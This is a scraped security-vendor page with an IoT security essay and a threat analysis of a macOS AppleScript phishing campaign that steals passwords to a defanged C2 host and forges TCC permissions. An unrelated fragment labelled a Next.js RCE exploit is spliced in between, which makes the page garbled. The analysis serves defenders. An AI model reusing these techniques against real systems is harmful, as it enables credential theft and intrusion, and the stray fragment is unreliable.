Internet of Things (IoT) Security: The Threat Before Us
The Internet of Things (Iot) offers many footholds for attackers to infiltrate organizations through smart devices. but self-learning AI is here to help.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Marcus Fowler
CEO of Darktrace Federal and SVP of Strategic Engagements and Threats
Share
29
Sep 2021
Attackers are increasingly gaining footholds into corporate environments to conduct ransomware or data theft operations via Internet-connected smart devices. Whether they be printers, lockers, aquariums, or conference rooms, these seemingly innocuous access points to corporate environments can provide attackers the critical initial access to conduct their attacks. These can also often be blind spots for many security teams.
When dropped into an organization’s digital environment for the first time and learning its surroundings, Darktrace often finds 15–20% more devices than anticipated. Most of these unexpected devices and areas of unsecured vulnerability result from an influx in IoT-enabled tech. This growing dependence on IoT devices will only continue to accelerate. There are currently more than 10 billion active IoT devices. This number is estimated to surpass 25.4 billion in 2030, though, by Darktrace’s predictions, it will in fact be much higher. We assess that almost all estimates around IoT usage by 2025 are too low.
As a result of the COVID-19 pandemic and hybrid work, the future workplace environment will only become more hands-free and interconnected. Broad adoption of 5G will not only mean more IoT devices, but also expanded capabilities as they become more efficient and highly connected.
People can walk in with an Internet-connected device on their wrist, or a security problem can enter a company through a newly updated Internet-connected vending machine. IT teams do not always know these devices are “smart” or vet them like they would with standard company technology.
IoT device manufacturers do not have a record of prioritizing the security of their devices, often sacrificing it for access and convenience, placing the burden on company security teams after the fact. Starting with one of these IoT devices that are typically not reinforced with security protocols makes it easier for a hacker to move laterally. Much like the threat from supply chains, it is easier for a hacker to go through an open window than a locked, guarded front door.
IoT compromise frequently appears as a lead threat across Darktrace’s global SOC operations. We have seen IoT devices intentionally brought into a corporate environment and used by an insider because of their small size, low signature, and capabilities, making them a powerful tool to evade traditional security defenses focused on external and known threats. Darktrace has even discovered crypto-mining malware on a door sensor, showcasing how creative attackers can get and all the different ways unsecured IoT can be misused.
IoT security is critical to prevent hackers from moving laterally throughout a company network. If hackers can breach one device within an organization’s digital environment, they can move to more critical devices with more sensitive data.
The good news is that security teams aren’t without resources to defend their environments. The first thing corporations need to have is a policy around IoT usage and adoption. The next and often most challenging step is increasing visibility and understanding of these shadow devices the instant they connect to the network in the first place. To meet this mission, some security teams use AI to identify the device and map ‘normal’ behaviors, then enforce a device’s behavior to disrupt any attacker’s efforts to use that device as an attack platform. Leveraging AI in this way also reduces the workload on already taxed security teams.
From a broader policy perspective, in tandem with internal security efforts, more pressure needs to be put on IoT manufacturers to make security a priority and part of the entire development and upgrade process. Disrupting attacks and hardening environments from attacker access points and attack vectors is everyone’s responsibility.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Marcus Fowler
CEO of Darktrace Federal and SVP of Strategic Engagements and Threats
def execute_rce_command(base_url, command, timeout=120): """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE DO NOT MODIFY THIS FUNCTION Returns: (success, output) """ try: # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
AppleScript Abuse: Unpacking a macOS Phishing Campaign
Introduction
Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.
The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.
Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].
Technical analysis
The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.
Figure 1: The AppleScript header prompting execution of the script.
Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.
Figure 2: Curl request to receive the next stage.
This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.
The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].
Figure 3: Fake dialog prompt for system password.
The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.
Figure 4: Requirements gathered on trusted binary.
Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, ScriptEditor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]
To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.
After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:
Full disk access
Screen recording
Accessibility
Camera
Apple Events
Input monitoring
The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.
Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.
Figure 7: Snippet of decoded Base64 response.
A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:
/controller.php?req=instd
/controller.php?req=tell
/controller.php?req=skip
These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.
Figure 8: LaunchAgent patterns to be replaced with victim information.
The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.
Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.
Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met. However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.
Conclusion
This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.
Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections. These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.
Credit to Tara Gould (Malware Research Lead) Edited by Ryan Traill (Analyst Content Lead)
.jpg)
